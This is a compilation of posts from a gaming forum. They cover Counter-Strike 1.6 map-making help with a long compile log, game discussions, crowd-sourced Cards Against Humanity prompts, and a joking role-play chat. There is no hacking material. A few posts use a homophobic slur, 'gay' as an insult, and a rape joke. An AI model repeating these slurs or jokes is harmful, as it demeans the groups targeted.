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In Dr map by Ghaith1:
SuperJer said:
You can use the cycler_sprite I think.

This looks helpful:

http://www.slackiller.com/tutorials/tutorials/addingmodelsintocs.htm

For example I wanted to put a kitchen in my map, when compiling, the compile is done successfully, but when I want to play in my map, I cant enter to it and it says: Mod_NumForName:models/group_kitchen.mdl not found.
By the way, the model is in my cstrike/models folder, and I typed in
Sprite blank models/group_kitchen.mdl like in the turorial you gave me, maybe I need to put the model in the same folder the .map file of the map is ?


How to fix this?

In 2 problems by SuperJer:
Ghaith1 said:
One of them, when I do 'paste as new' and write name of texture, the photo comes without colors or very ugly. Solution?


Wally is bad at reducing the color depth. Use a different program to convert it to 256 colors and then paste it in.

Ghaith1 said:
2/ the second photo it pastes normally, but when I add the wad file to hammer and add the texture and export and enter cs to play the map, the loading blocks at 'starting local game server'. Solution plz?


I'm not sure about this one. Are you sure it has to do with the WAD file? What size is your image?

Ghaith1 said:
How can I make my own sky to put it in my map? tell me plz


You need to make .tga files for the 6 sides and put them in cstrike/gfx/env/skies. If your sky is named xxx then the files need to be:

xxxbk
xxxdn
xxxft
xxxlf
xxxrt
xxxup

In 2 problems by Ghaith1:
SuperJer said:
I don't know the answers. All I would do is guess and check until it works. But it's your map, so you do it!

There should be options in the entity for "reverse direction", "x axis" and "y axis". Try changing those to get it to do what you want.

Ok, Now I have another thing: In wally program, I want to create wad file that contains my texture:
1/ I have 2 photos. One of them, when I do 'paste as new' and write name of texture, the photo comes without colors or very ugly. Solution?
2/ the second photo it pastes normally, but when I add the wad file to hammer and add the texture and export and enter cs to play the map, the loading blocks at 'starting local game server'. Solution plz?













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How can I make my own sky to put it in my map? tell me plz

In Mega Man x Street Fighter by aaronjer:
Ryu was my first level and he was really, really easy with just the buster. I get that you can time one shot well, but I don't want to play a megaman game where that is the only enemy type.

In Mega Man x Street Fighter by SuperJer:
I played it a bit last night. The laser flowers take way too many hits but it was kinda fun. I'll probably play the whole thing eventually. My top complaint is actually that the art is boring.

In Mega Man x Street Fighter by NatureJay:
Which levels did you play, out of curiosity? Because there are some that are solid and two that I can think of that were just straight left to right lines.

In Mega Man x Street Fighter by aaronjer:
I didn't like it. I played 5 of the levels, beat 3 of them, and noticed there was very little variance in enemy type, and that all of the enemies had irritating invincibility periods or other methods of completely avoiding damage. None of the weapons I obtained overcame these things. The game was a real chore to play.

In Mega Man x Street Fighter by NatureJay:
So, I just found out about and subsequently beat Mega Man x Street Fighter. The story is that around the time of the Mega Man and Street Fighter 25th anniversaries, some programmer in Singapore hit up Capcom with the idea of a crossover game. Miraculously, instead of sending out a cease-and-desist as usually happens, Capcom said "hey that sounds like a sweet idea" and gave him a little help and ended up releasing it for free on their website.

What's weird about the game is how fucking good it is? The programmer knew the Mega Man series really well and his level design is among the best they had to offer. In addition, he brought his own little weird things to the table that were seen uncommonly if at all. Branching paths everywhere! Destructible projectiles and walls! Enemies using your own projectiles against you! Loops where you can see the place you're going to access but can't get there yet! TWO SHIELD WEAPONS WHICH ARE BOTH USEFUL! I don't even understand that fully but it's true and I typed it. Also the soundtrack consists of mash-ups of classic themes from both series. Also you test your weapons on Dan Hibiki. And the game is fucking hard (Vega/Balrog's level is sadistic at the start, until you fashion a plan. Vega/Balrog himself is worse).

It's a lot better than a game that seems to be solo-programmed (outside of music and backgrounds) should be. But it's not without its flaws. Unsurprisingly, controller support is shit and my initial attempts to play it resulted in a huge framerate slowdown when I tried to use one. This is aggravating because the controls used are the Mega Man 4 controls, meaning there's a lot of charging and running and sliding. It makes good use of the game's mechanics, but without a controller, well, we all know how keyboards are with multiple simultaneous inputs.

There are also a few conceptual decisions I wasn't so hot about. One is that, trying to appeal to the newer entrants in the series, they added Crimson Viper. I didn't know who the hell she was, but as I understand it, she was Capcom's attempt to make an SNK character. Not too enthused. The other is that the weapon you get from Blanka has more to do with rolling than electricity, in that it's basically the soccer ball from MM8. Not cool. Also, hadoken is basically higher level charged shots, functionality-wise.

But other than that, good game. Locate and play it. Share and enjoy.

In New Minecraft Server by professorHAMM:
I would like to play! my username is jordanhamm

In Superjer Against Humanity Suggestions. by Crytax:
BLACK CARDS

If you can discover a better way of life than office-holding for____, a well-governed city becomes a possibility.

Once a man has changed the relationship between himself and ____, he cannot return to the blissful ignorance he left.

____is dangerous and difficult to control, but its products will soon become commonplace in our society.

And can ____ be tricked into hiding from itself?

A bunch of slack-jawed faggots around here! This stuff will make you ___. Just like me.

____ is only movement and love; it is the living infinite.

The wicked have told me of things that delight them, but not such things as ___.

Cry HAVOC! And let slip ___!

___ is the last refuge of a scoundrel.

If tyranny ever came to this land, it will be in the guise of ___.

The voice of the people is the voice of ____.

"Some are born great, some achieve greatness, and some have ___thrust upon them.

It will happen, and it will happen in our lifetimes. ___isn't just the future. ____ is now.

The price of freedom is ___.

I have seen enough of ___ never to wish to see another.

___ is the essential concept and the first truth.

____ is only a receptacle for all the prodigious, supernatural things that exist
inside it.

A scientist must be ____, in order to block out the incessant chorus of those who say "It cannot be done."

When beholding the tranquil beauty and brilliancy of____, one forgets the tiger heart that pants beneath it.

___ rests at the apex of the first triad of victory, for it combines Mobility, Flexibility, and Initiative.

For only in such a state will those rule who are truly rich, not in gold, but in the wealth that makes happiness, ____.

Important? Yes! Critical? Absolutely. I would go so far as to say that ____alone makes our present economy possible.

Our ancestors harnessed the power of ___, and so again shall we.



PLAY TWO

Without ____ no object would be given to us, without ____ no object would be thought.

Thoughts without ____are empty, intuitions without ____ are blind.

___ and ____ have, when taken together, a geometric effect on overall military strength.

I maintain that yin-yang dualism can be overcome, and we can give substance to any distinction: mind without body, north without south, ____ without ___.

Men will ultimately be governed by ___ or ___.



WHITE CARDS

Self-Aware Machines

Tig ol' Bitties

The dogs of war

moral value

Goddamn Space Tigers

Forklift jousting

A homo-erotic volleyball montage.

Desert nomads

the Final Fantasy XIII game guide

Kicking tires and lighting fires

Nonlinear Mathematics

Non-Euclidean geometry

In I have a problem with bsp file please help me..... :'( by Ghaith1:
I have a little prob with gameplay: When I put Players ( when creating maps) I use Info_player_start and when I want to play vs BOTs they all Spawn CTs.
How can I make the other players Ts ?

In Superjer Against Humanity Suggestions. by NatureJay:
Okay, I spent most of my shift at work thinking about new black cards that showed a more distinct relationship between the white cards and these are some of my results.

These wounds were given to me by the beast of legend. Part of it was _, part was _, and it was crowned with _.

Test cases:
Quote:
These wounds were given to me by the beast of legend. Part of it was destroying their home planet, part was an electron sex party, and it was crowned with something I just hate.
These wounds were given to me by the beast of legend. Part of it was an injection, part was a technicality, and it was crowned with a demand from the king.
These wounds were given to me by the beast of legend. Part of it was a burst of energy, part was a difficult Canadian, and it was crowned with a lonely old man.
These wounds were given to me by the beast of legend. Part of it was baseless hatred, part was being shot at while fleeing, and it was crowned with MY SKULL!
These wounds were given to me by the beast of legend. Part of it was a nation of damsels, part was prodding, and it was crowned with M. Night Shyamalan-a-ding-dong.


Early, informal rugby had three primary rules: that the ball should be carried as _, points be scored by crossing _, and at no time should _ appear on the field.

Test cases:
Quote:
Early, informal rugby had three primary rules: that the ball should be carried as a war canoe, points be scored by crossing wings, and at no time should an upstart appear on the field.
Early, informal rugby had three primary rules: that the ball should be carried as a lonely grave, points be scored by crossing smooth boys, and at no time should a dragon made of motorcycle appear on the field.
Early, informal rugby had three primary rules: that the ball should be carried as a stiff upper lip, points be scored by crossing a Swiss murder suit, and at no time should the only thing left appear on the field.
Early, informal rugby had three primary rules: that the ball should be carried as a falling tree, points be scored by crossing a tribal village, and at no time should big pants appear on the field.
Early, informal rugby had three primary rules: that the ball should be carried as vital developments, points be scored by crossing the southwest corner, and at no time should wriggly little worms appear on the field.


It works all right, but it doesn't play well with rando testing as the grammar is more suited to certain constructions.

Third one!

Looking at the fossil record of the family, you can see the development of _, now iconic, as well as the decline of _ to vestigiality.

Test cases:
Quote:
Looking at the fossil record of the family, you can see the development of turtles that have to pee, now iconic, as well as the decline of something equivalent to vestigiality.
Looking at the fossil record of the family, you can see the development of transvestite cosplay, now iconic, as well as the decline of knowing what to do to vestigiality.
Looking at the fossil record of the family, you can see the development of racist bullshit, now iconic, as well as the decline of what I should have said to vestigiality.
Looking at the fossil record of the family, you can see the development of giving it a tweak, now iconic, as well as the decline of steers and queers to vestigiality.
Looking at the fossil record of the family, you can see the development of wailing, now iconic, as well as the decline of a hunky, Adonis-like male figure to vestigiality.


I think that card is a fucking winner.

In Superjer Against Humanity Suggestions. by NatureJay:
Yeah, that last'un bugged me because I knew that it could work but you'd have to tweak the way you say it each time, which seems like a bore. Or seems like someone just couldn't do it each time out and it would be a drag. But I REALLY want more play 1s with two blanks.

People glorify ____ except the ___ they might show on behalf of their nearest neighbors.

People glorify all reasons for ____ except the ___ they might show on behalf of their nearest neighbors.

The former is cleaner, but each iteration I seem to hastily come up with loses that feeling of variety.

Edit:
WAIT WAIT WAIT I GOT IT, you only need to move stuff around

People glorify ____ of all sorts except the ___ they might show on behalf of their nearest neighbors.

Or to rephrase it to make it less awkward

People glorify ____ in all its varieties except the ____ they might show on behalf of their nearest neighbors.

It's not perfect, but it's getting closer.

In Superjer Against Humanity Suggestions. by NatureJay:
I'm going through a lot of quotes from George Eliot because she makes broad statements that seem like they would work with this.

I'm throwing these out to the group to test because I've tried and drawn some middling white cards.

BLACK CRADS:

Our moral progress may be measured by the degree in which we sympathize with ____ and ____

The only failure a man ought to fear is failure of cleaving to ______ he sees to be best.

The golden moments in the stream of life rush past us, and we see nothing but _____; the angels come to visit us, and we only know ____ when they are gone.

Every man who is not ____, _____, or ____ is the slave of some woman or other.
[the original was monster, mathematician, mad philosopher. Keep one or more if they make the results funnier, or add a blank for "some woman"]

A man never lies with more delicious languor under the influence of ___ than when he has persuaded himself that he shall subdue it tomorrow.

_________, like other dramatic spectacles, might possibly cease for want of a "public."

People glorify all sorts of ____ except the ___ they might show on behalf of their nearest neighbors [play 1]

In I have a problem with bsp file please help me..... :'( by Ghaith1:
I forgot to tell u something guys:
When i want to play in my map the game closes and it says :
Mod_LoadBrushModel: maps/zm_karakouz.bsp was wrong version number 1074580685 should be 30.
Please guys help me
buq25 or SuperJer or SRAW help me via teamviwer and check my problem pls... :'(

In I Made A GTA 5 Funny Moments Video by SRAW:
Apparently 5 has the largest map ever in GTA so that's reason enough to play it I think

In I Made A GTA 5 Funny Moments Video by aaronjer:
4 was good enough for me to play it a little before I got bored. That's better than most games!

In A suggestion for by Outcast:
So here's an idea I had - add flash games!

Preferably flash games which allow you to submit your score so you can compare it with others.That being said the scoreboard will only show scores from people who play those games through this website,so we can compare and see who da pr0!

Thoughts?

In Mapping F.A.Q - Please read before asking! by supermap777:
That animal is like a chicken in cs_italy func_breakable , etc.
official maps are boring, they are too ordinary, lack of features and variations that half-life engine can do (cars, boats, bomb, traps, machine gun, cannon, cool hostages, water that can flow pushing the boats moving, rising water level, simple lift, advanced lift, etc)

I made some prefabs of them in gamebana.com. new people are still coming do mapping cs 1.6, you can see their activities in gamebanana.com, the mapping community of half-life modification games are seems already or at least almost dead, except the counter-strike 1.6 + cs source + cs cz + cs go mappers, they are still alive, the most active one that still creating maps, combined total of around 40000 maps; followed by tfc + tfc s in 2nd rank with only around 4000 maps; and the 3rd rank is dod + dod s with only around 2500 maps.

I am no longer active mapping. Surely, one day we will back to play counter-strike in the future. It's time to move on ! Cheers !

In Hey guys by eDan Co.:
How do I play?

In Awesome Games Done Quick 2014 by SRAW:
You know instead of paying money to watch people play video games, you could probably try playing them yourself

In Awesome Games Done Quick 2014 by SRAW:
I watched a guy play deux ex on the stream, and it was ghey since it wAS soooooOooo boring. Then the next dude played quake/doom/whatever gay thing it was, and he was german, and he did it in 12 minutes and it was actually awesome

In Awesome Games Done Quick 2014 by NatureJay:
fedex _ said:
SuperJer said:
I was at work, with the Yoshi's Island run in a window, and the Internet went mostly out, except the video kept playing. At the same time some guy came in declaring there was a water leak so everyone got up in a panic, like OMG THE INTERNET IS WET. I decided to watch more Yoshi's Island and I pulled up the window and... it was just steaming a 100% empty room.

I was all WHAT IS HAPPENING TO MY WORLD?

So I ran Zelda again when I got home and almost got under an hour:


04:10.07 Level 2 Triforce
11:59.62 Level 1 Triforce
19:26.08 Level 3 Triforce
26:22.07 Level 4 Triforce
35:48.28 Level 6 Triforce
41:54.33 Level 5 Triforce
46:35.03 Level 7 Triforce
49:11.68 Level 8 Triforce
60:00.96 Zelda


Can you go on twitch and stream? plz?

The best Zelda time is 31:39 :\ At least that's what SDA has. Zelda Speed Runs has 33:49 on emulator. Subadar's ~hour play would rank #18 there.

In So this happened, when talking on the internet. by aaronjer:
Aaron Wilson: I'd play starbound but I don't know what it is and I don't have any money.

Aaron Wilson: And there is a lakitu in my house throwing around spiney shells.

Aaron Wilson: WTF

Jeffrey Loynd: I wouldn't suggest you playing it now anyway since it's still in beta

Jeffrey Loynd: KILL IT

Jeffrey Loynd: NAO

Aaron Wilson: I tried, but it was able to incapacitate me... and... Jeff... ... :(

Aaron Wilson: It raped me.

Jeffrey Loynd: ;-;

Jeffrey Loynd: It's ruined

Jeffrey Loynd: Everything is ruined

Aaron Wilson: I am no longer marriageable.

Aaron Wilson: I will become a spinster... my family will disown me.

Aaron Wilson: What kind of wife would I be?

Jeffrey Loynd: One with many quirks

Aaron Wilson: Maybe some disreputable man with a little coin and a drinking problem will take me in as a mistress. I'll be abused, but at least I'll have a roof over my head.

Jeffrey Loynd: You don't have to do that to yourself

Jeffrey Loynd: I'll take care of you from now on

Aaron Wilson: You say that, but your family and mine have always had close ties. If my family abandons me, yours will surely force you to break off contact with me on pain of exile from the estate.

Aaron Wilson: You'll lose your inheritance! And your future as a knight in the order of the black rose! I could never do that to you!

Aaron Wilson: Don't let this ruin both our lives.

Jeffrey Loynd: Don't be a fool dear one! Your love is all that matters to me! To hells with the inheritance. To hells with the order and my family!

Jeffrey Loynd: If they disown me, we disown them

Aaron Wilson: And I know you truly love the young lady of house Vetienne, would you abandon her and your own happiness for my sake alone? I could not bear it, the comfort would bring me no joy, I'd rather live in a gutter chasing rats for survival than see you both taken from each other. Lady Vetienne is kind, and beautiful, and does not deserve this betrayal.

Jeffrey Loynd: Lady Vetienne is indeed kind and beautiful, she is also a decade younger than me. I cannot be happy with a child! I'm old enough to be her uncle!

Aaron Wilson: Well, you are her second cousin once removed, if recall the family tree, but I have seen you gladly share her company! Was I reading romance when there was mere friendship between you?

Jeffrey Loynd: You were, my lady

Aaron Wilson: I hear so much talk from father about a supposed marriage arranged between you, I had assumed you were already privy to it!

Jeffrey Loynd: There is an arranged marriage arranged for me? I will have to have a word with father...

Aaron Wilson: Do not approach him aggressively! This is mere hearsay, and may be banter based on mere whimsy and speculation by my father! I know of no concrete plan to wed you to lady Vetienne. He may simply be fooled as I was into believing there was love between you.

Jeffrey Loynd: I suppose I'll have to be subtle then. But you know better than anyone how bad I am at subtlety.

Aaron Wilson: And yet I find it endlessly amusing, the day you drew steel on Sir Cullen for the mere insinuation he made about your sister. I've never seen a man so ready to beg forgiveness. Woe be to the woman who finds herself his wife, he is a man fit for nothing, if a man at all.

Aaron Wilson: But this distraction has only lasted for so long! What am I to do? If you really wish to leave all your fortune and future behind, would we not be forced to flee the city, mayhap even the country? Your father would blame me, for certain, labelling me harlot and seductress... could I even live with the fear of his wrath? I know nothing of the customs outside our lands, how would we survive?

Jeffrey Loynd: We'll find a way

Jeffrey Loynd: I have friends outside the country. I will let them know we are coming. They'll be ready to ferry us away from all of this

Aaron Wilson: Oh, but I would hate to disappear in the night like some rogue... would be that there was some way to make my sisters understand! They are too young to make sense of this... I dread to think of what they will be told of me, what they will think of me! And sweet Charlotte, she cannot bear to part from my side for more than mere minutes ever since mother died... but I supposed I would be taken from her regardless, by your plan or by my exile...

Aaron Wilson: Curse that lakitu! I would gladly endure its violation a hundred times if it meant no man ever knew of it!

Jeffrey Loynd: Then we must find a way to erase the past

Jeffrey Loynd: Come

Jeffrey Loynd: We shall do it together!

Jeffrey Loynd: *Que dramatic music*

Aaron Wilson: This is making me laugh so hard I'm not sure I can continue the charade? Improv? What are we even doing?

Aaron Wilson: This needs to go down in the history books.

Jeffrey Loynd: I have no idea. How even did this happen?

Aaron Wilson: I can't believe this started with lakitu rape.

Jeffrey Loynd: I just about bust my gut. Which would have been really awkward since I'm sitting across from my boss

Jeffrey Loynd: Bwahahahaha

In Stanley Parable by phoenix_r:
So fucking meta. Play it, let it play you.


In Anime by NatureJay:
Kuroshitsuji is definitely one where the comedy aspect has no traditional straight man; it's really all about the interactions amongst the characters, which makes the eventual payoff that much better, realizing that the characters themselves aren't totally incompetent, they're just bad at their present occupations.

When I'm complaining about straight men in comedy anime, I don't mean to convey that they're universally a bad thing. In FLCL, Naoto is absolutely a straight man, but that has bearing in his character; he's in that awkward part of the teenage years where he's overly concerned about what people think of him, and he thinks that he knows everything about how the worlds works and how people should behave. It's an aspect of his personality, but it isn't the only aspect. I actually think Naoto is one of the most complex characters I've seen in a show given that a) the show is serious and not really serious and b) they rendered him better in six episodes than most shows develop characters in thirteen or twenty-six episodes. It's baffling really. Even his contradictions make sense given what context you have of him.

It's similar in Bakemonogatari. Araragi is the straight man, definitely, but in his case it also makes sense, given that he's the responsible, self-sacrificing, partially immortal one, AND it's tempered by him constantly doing whatever shady perverted thing he can get away with. He enforces some rules and stretches others because he can. He's also dealing with a wide and varied cast of characters, most of which also have moments where they have to be the serious one in their conversations with him (Shinobu, Senjougahara, Hachikuji, and Hanekawa all play that role at various points).

Watching Jungle Guu, at least through the first couple of episodes, Hare's defining characteristic is that he doesn't get Guu and what she's doing usually upsets him while the rest of the cast remains mostly oblivious. There's neither explanation nor variation, so Hare is just there to spell out everything that the audience is already seeing and knows. The reason the show still seems worth watching to me is that everything else that's happening around them, the things inside Guu, the weird shit in the jungle that's maybe a plant and maybe and animal but who knows, that's all still interesting even if the core interactions are predictable.

In Sounds - Quick and easy questions for you all. by fedex _:
If you add a custom sound you made and placed it in-game and it doesn't loop then you need to que it , because it will only play once and never come on again , I dealt with this problem before until another avid mapper told me that was the problem .. Hope this helps

In Superjer Against Humanity Suggestions. by aaronjer:
That's not a thing you ever do. You draw ten cards and then put them in the three empty slots at the top depending if it's a pick 1, 2 or 3.

When you're the czar you wait for everyone to play, or take too long, and then hit the call it button and choose a winner.

The scoreboard on the right indicates how many cards each player currently has in play, so you know when to call it.

Awarded points can be spent on the daily designated victuals, confections and provisions, assuming the stock has not been depleted by previous players.

The world is enough to hold me to the ground, but only by my own allowance, as I am not beholden to gravity and atmosphere.

In Superjer Against Humanity Suggestions. by Rockbomb:
I don't understand how to play :(
I mean, I get the concept of the game, but how do you put two cards together? Tried dragging them over one another, double clicking, etc.... nothing worked

In Dwarf Fortress by NatureJay:
The point of the game is to figure out how to play the game.

There is no final boss. There is no ultimate goal, unless you count digging down as far as you can as a goal (and most likely, that will end your game). Eventually, some force, be it a siege, or a legendary monster with deadly abilities, or something lurking under ground, or your own hubris will kick in and everything will go to shit. Or a tantrum spiral resulting from your surviving that will make the rest of the dwarves miserable enough to kill each other. Or winter could come.

You can either try to stave off disaster for as long as you can or bring it upon yourself through absurdly complex machinations. But the game will end eventually and everything will be miserable.

In Pikmin 3 Mission Speedruns / High score runs by SuperJer:
Down Rodeo said:
I have no such device. My parents won a Wii in a raffle though, I really should actually try to play the Pikmin games at some point. As an Xbox-owning scrub, I had Overlord, now that I'm on PC I have none (though I should probably just load Pikmin up on Dolphin emulator).


I would recommend it. Pikmin 1 on Wii with the mote is pretty awesome. It's one of the few games (incl. RE4, MP3) where aiming with the mote actually works really well.

In Pikmin 3 Mission Speedruns / High score runs by Down Rodeo:
I have no such device. My parents won a Wii in a raffle though, I really should actually try to play the Pikmin games at some point. As an Xbox-owning scrub, I had Overlord, now that I'm on PC I have none (though I should probably just load Pikmin up on Dolphin emulator).

In Light brightness? by LORDOFTHISWORLD:


Yeah so to me, the effects of lightning, fading and glow is going to be the new mission impossible.

I know these are some of the most real looking effects that makes a map feel alot better to play.

Question:
How much brightness is the "maximum"?
If there is one...

And is there any difference between the SKY-brightness and Entity-Lights?

Thank you!
/RN

In Solution for: Exceeded MAX_PATCHES? :: Alot of reading :: by LORDOFTHISWORLD:

Hello oldschool mappers!

First of all I wanna say I'm a huge fan of your maps SuperJer(If you're gonna read this) and thanks alot for the things you've done for the CS mapping community!

I've been into VHE for a long time, but never released any maps due to small problems and the extreme details that I desire for perfection in my maps.(No I'm not a maniac just too lazy for final polishing lulz)

My hardware :
Windows 7 (64-bit)
8GB of DDR3 Memory(Wish VHE could've used all of it)
3.4 Ghz Quadcore AMD Processor
1024 MB HD Radeon 5770 Graphic Card (Two of them!)
That should be all you need to know?

These pictures are my HELP to you:

http://tinypic.com/r/20jk07n/5

http://tinypic.com/r/jg5x7k/5

http://tinypic.com/r/314xvgg/5

Basicly I need help on TWO things:

Exceed MAX_PATCHES solution
Answer to :: NUMBER THREE :: <-- You will understand when scrolling down.

Anyway.. PROBLEM:

I almost know what causes the problem in this map im developing:
1. Showed in picture one(The Sewer and top/front/side y/x angles)
You can see I have quite a few "LIGHT" entities, I had these put up all over my Sewer and my Caves after I compiled in Expert mode and noticed these we're all black instead of when I compiled in Normal mode and they were still light(but huge FPS drops due to VIS problems(obviously duuuhh). But honestly I don't think these should be able to cause any problem they should instead make the map easier to compile no matter Normal nor Expert mode, am I right?

2. Showed in the second picture with different screens and numbers in it you can see:

:: Number ONE ::
Shows the cave(Just a normal one with "LIGHT" entities ofcourse(Can't walk through caves in total darkness)(Should not cause problem..)
THIS IS WHAT I THINK CAUSES THE PROBLEM(Exceed Max_Patches)
:: Number TWO :: shows my Sewer(Again) but from the outside, my friend told me he saw leaks(he tested the map with 1600x1200 resolution)
So I just put these "walls" all around the sewer to prevent the leakings from accuring(Which before I put them there did only cause small fps drops and you could ofcourse see through the sewer which is not okay..)
Honestly this is what I think is the "bad thing" in my compiling, I compiled for 9 hours and VHE still had not finished.. Before I did this, put the light entities, the umbrellas and chairs at the beach + volleyboll net it took just about 1 hour to compile)
Remember I have Windows 7 64-bit.. (don't know if this can cause troubleshoot problems)

:: Number THREE ::

Here you can see bit by bit how I have built a part of the cave, what I want to know from this picture is that this should cause alot of "angles" for VIS and other programs to have to use alot more power and use up alot more memory, yes or no?
And if I want to make ALL of these color marked walls into ONE wall(That would cause ALOT less memory usage and angles to be compiled right?): HOW do I do so?
Just mark them all and "Tie To Entity" > Func_wall?

:: Number FOUR ::

Logs, logs and more logs, these I have heard could cause problems(since VHE is old and... OLD..) to RAD / VIS et.c. because of the angles/shapes/sizes and so on, but it did not cause any problems at all when I compiled before the "Exceeded MAX_PATCHES" so this I seriously doubt could cause anything but MINIMUM lag every 3000 years.

:: NUMBER FIVE ::

Shows the Umbrellas and beach chairs(This small thing could cause any problem at all? I seriously doubt it myself..)

:: NUMBER SIX ::

These walls are straight against the Sewer so there should not be any possibilities for leaks, should there? I just don't get why it would.. Then again I'm no rocket scientist. There was leaks as I mentioned before when I didn't have the walls. Me personally I have 640x320 resolution when I play CS so for me it didn't show any leaks what so ever. But 1600x1200 needs more juice we all know that.

:: NUMBER SEVEN / EIGHT / NINE ::

Shows what options I have on and which messages I get.
(If these could be to any help)
-----------------------------------

I will mention it again: Compiling only took about 1 HOUR before I did these things:
Added the Walls to the sewer to prevent leaking hopefully.
Added the Umbrellas, beach chairs and volleyboll net
Added the "LIGHT" entities in my Cave & Sewer from total darkness

Either all of them, or some, or just ONE of them are causing this problem I personally can't rule out the bad thing. Perhaps you can?


------------------------------------


Alright, down to the COMPILING AREA!

This is what VHE 3.5 Compiler tells me when I run it with these Options(Showed in picture 9.)
Take in consideration I do run the "final" compiling in Expert mode and not normal mode..


** Executing...
** Command: Change Directory
** Parameters: D:\Steamapps\SteamApps\common\Half-Life\cstrike


** Executing...
** Command: Copy File
** Parameters: "D:\Program\Worldcraft\maps\mymapp.map" "D:\Program\Worldcraft\maps\mymapp.map"


** Executing...
** Command: D:\Program\WORLDC~1\tools\hlcsg.exe
** Parameters: "D:\Program\Worldcraft\maps\mymapp"

hlcsg v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlcsg -----
Command line: D:\Program\WORLDC~1\tools\hlcsg.exe D:\Program\Worldcraft\maps\mymapp
Entering D:\Program\Worldcraft\maps\mymapp.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
clip hull type [ legacy ] [ legacy ]
onlyents [ off ] [ off ]
wadtextures [ on ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
nullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

142 brushes (totalling 825 sides) discarded from clipping hulls
CreateBrush:
10%...20%...30%...40%...50%...60%...70%...80%...90%... (0.67 seconds)
SetModelCenters:
10%...20%...30%...40%...50%...60%...70%...80%...90%... (0.00 seconds)
CSGBrush:
10%...20%...30%...40%...50%...60%...70%...80%...90%... (1.09 seconds)

Using Wadfile: \program\worldcraft\wads\chateau.wad
- Contains 10 used textures, 7.58 percent of map (136 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_747.wad
- Contains 2 used textures, 1.52 percent of map (143 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_assault.wad
- Contains 0 used textures, 0.00 percent of map (22 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_cbble.wad
- Contains 2 used textures, 1.52 percent of map (61 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_dust.wad
- Contains 1 used texture, 0.76 percent of map (28 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_havana.wad
- Contains 3 used textures, 2.27 percent of map (122 textures in wad)
Using Wadfile: \program\worldcraft\wads\cs_office.wad
- Contains 8 used textures, 6.06 percent of map (102 textures in wad)
Using Wadfile: \program\worldcraft\wads\cstrike.wad
- Contains 0 used textures, 0.00 percent of map (123 textures in wad)
Using Wadfile: \program\worldcraft\wads\de_airstrip.wad
- Contains 4 used textures, 3.03 percent of map (69 textures in wad)
Using Wadfile: \program\worldcraft\wads\de_aztec.wad
- Warning: Larger than expected texture (348972 bytes): 'SPECIAL_THANKS'
- Warning: Larger than expected texture (348972 bytes): 'THANKS'
- Contains 1 used texture, 0.76 percent of map (24 textures in wad)
Using Wadfile: \program\worldcraft\wads\de_piranesi.wad
- Contains 5 used textures, 3.79 percent of map (160 textures in wad)
Using Wadfile: \program\worldcraft\wads\de_storm.wad
- Contains 8 used textures, 6.06 percent of map (74 textures in wad)
Using Wadfile: \program\worldcraft\wads\de_vertigo.wad
- Contains 0 used textures, 0.00 percent of map (19 textures in wad)
Using Wadfile: \program\worldcraft\wads\halflife.wad
- Contains 88 used textures, 66.67 percent of map (3116 textures in wad)
Including Wadfile: \program\worldcraft\wads\zhlt.wad
- Contains 0 used textures, 0.00 percent of map (8 textures in wad)
Using Wadfile: \program\worldcraft\wads\decals.wad
- Contains 0 used textures, 0.00 percent of map (225 textures in wad)

Warning: More than 8 wadfiles are in use. (16)
This may be harmless, and if no strange side effects are occurring, then
it can safely be ignored. However, if your map starts exhibiting strange
or obscure errors, consider this as suspect.


added 6 additional animating textures.
Texture usage is at 3.10 mb (of 4.00 mb MAX)
2.43 seconds elapsed

----- END hlcsg -----




** Executing...
** Command: D:\Program\WORLDC~1\tools\hlbsp.exe
** Parameters: "D:\Program\Worldcraft\maps\mymapp"

hlbsp v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlbsp -----
Command line: D:\Program\WORLDC~1\tools\hlbsp.exe D:\Program\Worldcraft\maps\mymapp

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
noopt [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 8192)


SolidBSP [hull 0] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...5991 (0.48 seconds)
BSP generation successful, writing portal file 'D:\Program\Worldcraft\maps\mymapp.prt'
SolidBSP [hull 1] 500...1000...1500...2000...2500...3000...3500...4000...4500...4837 (0.23 seconds)
SolidBSP [hull 2] 500...1000...1500...2000...2500...3000...3500...4000...4500...4726 (0.24 seconds)
SolidBSP [hull 3] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5297 (0.29 seconds)
3.95 seconds elapsed

----- END hlbsp -----




** Executing...
** Command: D:\Program\WORLDC~1\tools\hlrad.exe
** Parameters: "D:\Program\Worldcraft\maps\mymapp"

hlrad v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
